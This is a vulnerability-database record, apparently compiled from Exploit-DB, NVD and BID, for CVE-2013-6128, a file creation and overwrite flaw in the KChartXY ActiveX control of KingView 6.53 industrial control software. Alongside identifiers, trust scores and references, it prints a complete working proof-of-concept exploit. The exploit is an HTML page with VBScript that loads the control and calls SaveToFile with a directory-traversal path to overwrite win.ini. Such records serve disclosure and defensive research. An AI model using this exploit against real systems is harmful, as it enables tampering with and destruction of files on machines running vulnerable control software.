ID
VAR-E-201309-0195
CVE
| cve_id: | CVE-2013-6128 | Trust: 1.9 |
| cve_id: | CVE-2013-6127 | Trust: 0.3 |
EDB ID
28085
TITLE
KingView 6.53 - 'KChartXY' ActiveX File Creation / Overwrite - Windows local Exploit
Trust: 0.6
DESCRIPTION
KingView 6.53 - 'KChartXY' ActiveX File Creation / Overwrite. CVE-97014CVE-2013-6128 . local exploit for Windows platform
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | kingview | model: | - | scope: | eq | version: | 6.53 | Trust: 1.6 |
| vendor: | wellintech | model: | kingview | scope: | eq | version: | 6.53 | Trust: 0.3 |
EXPLOIT
<!--
KingView ActiveX Control (KChartXY) Remote File Creation / Overwrite
Vendor: http://www.wellintech.com
Version: KingView 6.53
Tested on: Windows XP SP3 / IE
Download: http://www.wellintech.com/documents/KingView6.53_EN.zip
Author: Blake
CLSID: A9A2011A-1E02-4242-AAE0-B239A6F88BAC
ProgId: KCHARTXYLib.KChartXY
Path: C:\Program Files\KingView\KChartXY.ocx
MemberName: SaveToFile
Safe for scripting: False
Safe for init: False
Kill Bit: False
IObject safety not implemented
Description: Proof of concept overwrites the win.ini file
-->
<html>
<object classid='clsid:A9A2011A-1E02-4242-AAE0-B239A6F88BAC' id='target' ></object>
<script language='vbscript'>
arg1="..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\WINDOWS\win.ini"
target.SaveToFile arg1
</script>
Trust: 1.0
EXPLOIT LANGUAGE
html
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
'KChartXY' ActiveX File Creation / Overwrite
Trust: 1.0
CREDITS
blake
Trust: 0.6
EXTERNAL IDS
| db: | NVD | id: | CVE-2013-6128 | Trust: 1.9 |
| db: | EXPLOIT-DB | id: | 28085 | Trust: 1.6 |
| db: | EDBNET | id: | 49927 | Trust: 0.6 |
| db: | NVD | id: | CVE-2013-6127 | Trust: 0.3 |
| db: | BID | id: | 62419 | Trust: 0.3 |
REFERENCES
| url: | https://nvd.nist.gov/vuln/detail/cve-2013-6128 | Trust: 1.6 |
| url: | https://www.exploit-db.com/exploits/28085/ | Trust: 0.6 |
SOURCES
| db: | BID | id: | 62419 |
| db: | EXPLOIT-DB | id: | 28085 |
| db: | EDBNET | id: | 49927 |
LAST UPDATE DATE
2022-07-27T09:21:57.441000+00:00
SOURCES UPDATE DATE
| db: | BID | id: | 62419 | date: | 2013-10-23T00:37:00 |
SOURCES RELEASE DATE
| db: | BID | id: | 62419 | date: | 2013-09-04T00:00:00 |
| db: | EXPLOIT-DB | id: | 28085 | date: | 2013-09-04T00:00:00 |
| db: | EDBNET | id: | 49927 | date: | 2013-09-04T00:00:00 |